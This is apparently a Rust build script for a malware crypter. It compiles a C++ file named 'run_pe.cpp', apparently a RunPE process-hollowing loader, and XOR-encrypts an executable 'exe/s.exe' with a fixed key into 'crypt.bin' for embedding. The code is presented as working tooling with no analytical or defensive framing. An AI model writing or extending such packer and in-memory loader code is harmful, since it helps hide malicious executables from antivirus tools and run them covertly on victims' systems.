use std::{fs, path::Path};

fn main() {
    cc::Build::new()
        .cpp(true)
        .file("cpp/run_pe.cpp")
        .compile("peffi");

    let in_path = Path::new("exe/s.exe");

    let key = 0x42;

    let mut bytes = fs::read(in_path).expect("failed to read input");
    xor_crypt(bytes.as_mut_slice(), key);

    let out_path = Path::new("crypt.bin");
    fs::write(out_path, bytes).expect("failed to write");
}

fn xor_crypt(input: &mut [u8], key: u8) {
    for byte in input.iter_mut() {
        *byte ^= key;
    }
}